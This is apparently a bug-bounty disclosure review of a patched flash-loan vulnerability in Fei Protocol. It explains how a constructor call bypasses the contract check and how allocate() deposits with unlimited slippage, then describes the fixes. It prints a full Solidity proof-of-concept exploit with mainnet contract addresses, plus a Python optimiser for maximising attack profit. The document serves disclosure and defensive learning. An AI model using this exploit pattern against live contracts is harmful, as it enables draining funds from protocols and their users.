Fei Protocol Flashloan Vulnerability Bugfix Review

Summary
Whitehat Alexander Schlindwein, known for receiving the largest ever bug bounty payout after finding a critical bug in ArmorFi, discovered a critical vulnerability in Fei Protocol. Concurrently and independently, Fei Protocol’s expert security team, led by Joey Santoro, also discovered this bug and immediately paused the contract. If this vulnerability had been exploited, it could have drained the protocol of 60,000 ETH via a flash loan attack (limited by the ~1m in ETH available across the ecosystem for flash loans). Alexander Schlindwein reported this bug to Immunefi on May 2. The vulnerability was not exploited. No funds were lost.
Fei Protocol is awarding Alexander Schlindwein an $800,000 bounty, paid in TRIBE. This award is in recognition of Alexander’s contributions to the fix of this vulnerability and as a demonstration of Fei Protocol’s commitment to whitehat hacking and to the broader Ethereum ecosystem. This bounty represents one of the largest awards ever paid out in DeFi history. Fei Protocol has also published a review of the vulnerability.
Vulnerability Analysis
Fei Protocol is a decentralized, algorithmic stablecoin that maintains the price of Fei at the peg through a variety of methods. One method is through Protocol Controlled Value (PCV). The idea is that the protocol itself controls a substantial amount of the liquidity provider tokens (LP tokens) in the Uniswap V2 pool for the ETH/FEI pair (an LP token represents a pro rata share of each pool of tokens that are deposited).
The overview of the vulnerability is that flash loan-driven market manipulation can drain Fei Protocol of protocol-controlled funds.
The issue is that anyone can call allocate()
, which takes the protocol-controlled value (ETH controlled by the protocol, PCV) and puts it into the Uniswap pool at the prevailing market rate (and not the ETH/USD oracle price, as designed). This function cannot be called during the Genesis period, which is now over, and cannot be called during a pause.
Address.isContract
and the nonContract
modifier are designed to prevent price manipulation of FEI during the allocate operation, but this guard as-written does not work. It can be bypassed if invoked by a contract’s constructor, as we see below.
The exploit can be illustrated in the following steps.
1. Take a flashloan in WETH
2. Dump the ETH into the Uniswap ETH/FEI pool. This makes FEI very expensive and ETH very cheap
3. Call the ETH bonding curve purchase
to buy FEI at the protocol-established price of $1.01, even though the FEI market price is now much higher in the Uniswap pool
4. Construct a dummy contract whose only purpose is to invoke allocate
from the constructor in order to bypass the nonContract
modifier
5. Call allocate
(from the constructor of the dummy contract), which eventually invokes addLiquidityETH
at the ETH/USD oracle price, but with 100% slippage tolerance. This deposits the PCV (in ETH) into the Uniswap V2 pool. The counterpart quantity of FEI is minted/burned directly by the protocol. Because the market is currently distorted by the flash loan, much more ETH is deposited (relative to FEI) as would be dictated by the prevailing, non-distorted market conditions
6. Take the newly bought FEI and swap it back into the pool. This takes advantage of the excess of ETH deposited in step 5. This gets back the original ETH swapped, and, according to calculations by Alexander, additional gains of up to 60,000 ETH
7. Return flash loan
The correct choice of how much ETH to dump into the Uniswap pool versus how much ETH to purchase on the bonding curve is a complicated optimization problem. Alexander Schlindwein wrote a Python program using GEKKO to choose the optimal split of the available flashloaned funds:
# This script calculates the optimal values for the exploit to achieve maximum profit.
# It uses GEKKO, a nonlinear (NLP) solver, to maximize the objective function while adhering to constraints.
from gekko import GEKKO
def main():
# The GEKKO model
m = GEKKO()
############ CONSTANTS ############
# `peg` is the current oracle price, used to calculate the amount of FEI
# purchasable from the bonding curve for a given amount of ETH.
peg = m.Param(value=3178.0327) # peg: https://etherscan.io/address/0x7a165F8518A9Ec7d5DA15f4B77B1d7128B5D9188#readContract
# `p0` is the amount of WETH in the FEI/WETH Uniswap V2 pool
p0 = m.Param(value=141245.117) # ETH in pool: https://etherscan.io/tokenholdings?a=0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878
# `p1` is the amount of FEI in the FEI/WETH Uniswap V2 pool
p1 = m.Param(value=463938347) # FEI in pool: https://etherscan.io/tokenholdings?a=0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878
############# NLP VARS ############
# `d` and `b` are the payload for the exploit and are the output of this calculation.
#
# `d`: The amount of WETH to dump on the Uniswap pool.
# `b`: The amount of WETH to spend on the bonding curve to buy FEI.
#
# The exploit will take a flash loan of `d + b` WETH.
#
# Both variables are initialized to 50000, otherwise the NLP gets stuck at a local maximum.
d = m.Var(lb=0, value=50000)
b = m.Var(lb=0, value=50000)
# Flash loan providers, such as Aave, have a limited amount of WETH available.
# Since the exploit will take a flash loan of `d + b` we need to limit the maximum allowed size.
# The PoC uses Aave, which currently has approximately 700K WETH available.
#
# The higher the size of the possible flash loan, the higher the possible profit.
# In a real-world scenario, an attacker would take flash loans from multiple parties
# (Aave, dydx, various Uniswap V2 and V3 pools, etc.) to achieve the highest profit.
#
# For the PoC we are limited to Aave only. However, you can still run this calculation
# with a higher flash loan limit by simply increasing the number below. Executing the PoC
# with the resulting values will fail since it exceeds Aave's funds, however the NLP solver
# will output the correct profit.
m.Equation(d + b <= 700000)
# Now, we begin building the equation which outputs the profit and which is to be maximized.
# 1. Dump `d` WETH on the Uniswap FEI/WETH pool
# The WETH in the pool is increased by `d`
p0_d = p0 + d
# The FEI in the pool is decreased according to Uniswap's x*y=k formula
p1_d = (p0 * p1) / p0_d
# The amount of FEI we receive is the difference between the pool's FEI balance before and after the dump
r1_d = p1 - p1_d
# 2. Buy FEI from bonding curve for a cost of `b` ETH.
# We receive `b * peg` FEI in return for spending `b` ETH.
r1_b = b * peg
# 3. This is the `allocate()` call. The `EthUniswapPCVDeposit` deposits the PCV into Uniswap. The additionally required FEI is minted.
# The amount of WETH in the pool is increased by `b`, which is the amount we spent in the previous step.
p0_b = p0_d + b
# The amount of FEI in the pool is increased according to Uniswap's x*y=k formula
p1_b = p1_d * (p0_b / p0_d)
# 4. Spend FEI received from step 1 and 2 to buy back ETH from the Uniswap pool
# The amount of FEI in the pool is increased by the amount of FEI we received from step 1 and 2
p1_f = p1_b + r1_d + r1_b
# The amount of WETH is decreased according to Uniswap's x*y=k formula
p0_f = (p0_b * p1_b) / p1_f
# The amount of WETH we receive is the difference between the pool's WETH balance before and after the buyback
r0_f = p0_b - p0_f
# The total profit/loss is calculated as the WETH output from the previous step minus flash loan funds which need to be repaid.
r0 = r0_f - d - b
# Maximize the profit function
m.Maximize(r0)
# Run the solver
m.options.IMODE = 3 # steady state optimization
m.solve()
print('')
print('Results')
# Objective is the final profit/loss in WETH.
# Note that the result's sign is flipped when displayed on screen.
# The reason therefore is that GEKKO can only minimize objectives.
# However, we would like to maximize it.
# So `m.Maximize(r0)` is converted to `m.Minimize(-r0)` under the hood.
print('Objective: ' + str(m.options.objfcnval))
# The best found value for `d`
print('d: ' + str(d.value))
# The best found value for `b`
print('b: ' + str(b.value))
if __name__ == "__main__":
main()
The following PoC exploit was written by Alexander Schlindwein to demonstrate this attack:
pragma solidity ^0.6.0;
import "../bondingcurve/IBondingCurve.sol";
contract Allocator {
constructor(IBondingCurve bondingCurve) public {
// We run this call from a constructor
// to bypass the non-contract check of `allocate()`
bondingCurve.allocate();
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./IERC20.sol";
import "./IWETH.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router02.sol";
import "./IUpdateableOracle.sol";
import "./IAaveLendingPool.sol";
import "./IFlashLoanReceiver.sol";
import "../bondingcurve/IBondingCurve.sol";
import "../external/Decimal.sol";
import "./Allocator.sol";
import "hardhat/console.sol";
contract Exploit is IFlashLoanReceiver {
IWETH private immutable WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 private immutable FEI = IERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA);
IAaveLendingPool private immutable AAVE_LENDING_POOL = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
address public immutable override ADDRESSES_PROVIDER = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5;
address public immutable override LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
IUniswapV2Router02 private immutable ROUTER_02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Pair private immutable WETH_FEI_POOL = IUniswapV2Pair(0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878);
IUpdateableOracle private immutable UNISWAP_ORACLE = IUpdateableOracle(0x087F35bd241e41Fc28E43f0E8C58d283DD55bD65);
IBondingCurve private immutable ETH_BONDING_CURVE = IBondingCurve(0xe1578B4a32Eaefcd563a9E6d0dc02a4213f673B7);
uint private _aavePremium;
uint private _d;
uint private _b;
function start(uint d, uint b) external {
_d = d;
_b = b;
UNISWAP_ORACLE.update();
console.log("Updated oracle");
// 1. Get WETH flashloan from Aave
address[] memory assets = new address[](1);
assets[0] = address(WETH);
uint[] memory amounts = new uint[](1);
amounts[0] = d + b;
uint[] memory modes = new uint[](1);
modes[0] = 0;
AAVE_LENDING_POOL.flashLoan(address(this), assets, amounts, modes, address(0), "", 0);
// END - After Aave .flashLoan returns
console.log("");
console.log("##################################");
console.log("ETH balance", WETH.balanceOf(address(this)), WETH.balanceOf(address(this)) / 10**18);
}
function dump() internal {
// 2. Inbalance pool: dump ETH
WETH.approve(address(ROUTER_02), _d);
address[] memory path = new address[](2);
path[0] = address(WETH);
path[1] = address(FEI);
ROUTER_02.swapExactTokensForTokens(_d, 1, path, address(this), uint(-1));
console.log("Dumped", _d / 10**18, "ETH on WETH/FEI pool");
buyFromBondingCurve();
}
function buyFromBondingCurve() internal {
// 3. Buy Fei on bonding curve
WETH.withdraw(_b);
ETH_BONDING_CURVE.purchase{value: _b}(address(this), _b);
console.log("Bought Fei from bonding curve for", _b / 10**18, "ETH");
allocate();
}
function allocate() internal {
// 4. Allocate ETH from bonding curve purchase
new Allocator(ETH_BONDING_CURVE);
console.log("Allocated ETH from Fei protocol");
buyback();
}
function buyback() internal {
// 5. Buy WETH from WETH/FEI pool
uint remainingBalance = FEI.balanceOf(address(this));
FEI.approve(address(ROUTER_02), remainingBalance);
address[] memory path = new address[](2);
path[0] = address(FEI);
path[1] = address(WETH);
ROUTER_02.swapExactTokensForTokens(remainingBalance, 1, path, address(this), uint(-1));
console.log("Swapped", remainingBalance / 10**18, "Fei on WETH/FEI pool");
repayETH();
}
function repayETH() internal {
// 6. Approve Aave for flashloan payback
WETH.approve(address(AAVE_LENDING_POOL), _d + _b + _aavePremium);
}
function executeOperation(address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params) external override returns (bool) {
_aavePremium = premiums[0];
console.log("Received WETH flashloan with premium", _aavePremium / 10**18);
dump();
console.log("Repaying ETH flashloan");
return true;
}
receive() external payable {}
}
Best Practices
It’s best practice to use an oracle and slippage tolerance when interacting with a distributed exchange to avoid this kind of market manipulation attack via a flash loan or sandwich. Without an oracle price enforced by slippage tolerance, there’s no way to know whether the price reported by the Uniswap pool is the price established by prevailing market conditions.
If a protocol does not use an oracle with slippage tolerance and its guard against flash loans happens to be faulty, then flash loan attacks are devastating.
Additionally, checks using extcodesize
(such as OpenZeppelin’s Address.isContract
) to determine whether a given address is a contract are only sufficient if you intend to include only smart contracts not to exclude them. Address.isContract
will return false
for some contracts, such as those that are currently being constructed. Currently, Solidity doesn’t provide a future-proof method for testing whether an address is a contract. require(msg.sender == tx.origin)
works for the current Berlin EVM, but Vitalik has publicly stated that tx.origin
may not continue to be meaningful in future versions.
Vulnerability Fix
Fei Protocol temporarily paused the affected contract, EthBondingCurve.sol
, and jointly developed a fix with Alexander Schlindwein and OpenZeppelin. This pause was lifted when it was discovered that a pause in EthUniswapPCVDeposit.sol
was sufficient to mitigate the bug until a more permanent fix was developed. After review by OpenZeppelin and Immunefi, Fei is deploying two fixes that would each independently prevent this kind of attack.
The primary fix is that ETH deposited to the protocol through the bonding curve is no longer supplied to the ETH/FEI Uniswap pool. This completely removes the vector used by this attack. Instead, the ETH deposited into the bonding curve is directed to the reserve stabilizer, a mechanism for maintaining the price of FEI below the peg. The reserve stabilizer allows anyone to purchase ETH from the protocol at $0.95, placing a hard floor on the price of FEI.
The second permanent mitigation implemented addresses the slippage parameter in the EthUniswapPCVDeposit
contract. This fix sets the slippage of the call to addLiquidityETH
to a configurable percentage of the ETH/USD oracle price. The contract UniswapPCVDeposit
got a new method, _getMinLiquidity
, which computes a configurable ratio from the deposited amount to set the amountTokenMin
and amountETHMin
arguments to addLiquidityETH
. Because the EthUniswapPCVDeposit
contract always deposits at the oracle price, this sets the slippage relative to the oracle, not relative to the current market ETH/FEI price. Currently, this slippage is set to 1%. If the market is distorted by more than 1% relative to the oracle price, the deposit/allocation transaction will revert.
This also protects Fei from market manipulation due to a sandwich attack. Merely fixing Address.isContract
or the nonContract
modifier would not protect against a sandwich attack on its own.
Acknowledgements
We want to thank Fei Protocol’s expert security team for their work in independently discovering the bug alongside whitehat Alexander Schlindwein, who is now one of the most important whitehats in DeFi. Alexander has worked closely with Fei Protocol to build a fix. We’d also like to thank Fei Protocol for hosting a bug bounty with Immunefi. To report additional vulnerabilities, please see Fei Protocol’s bug bounty program with Immunefi.
If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.
If you’re interested in protecting your project with a bug bounty, visit the Immunefi services page and fill out the form.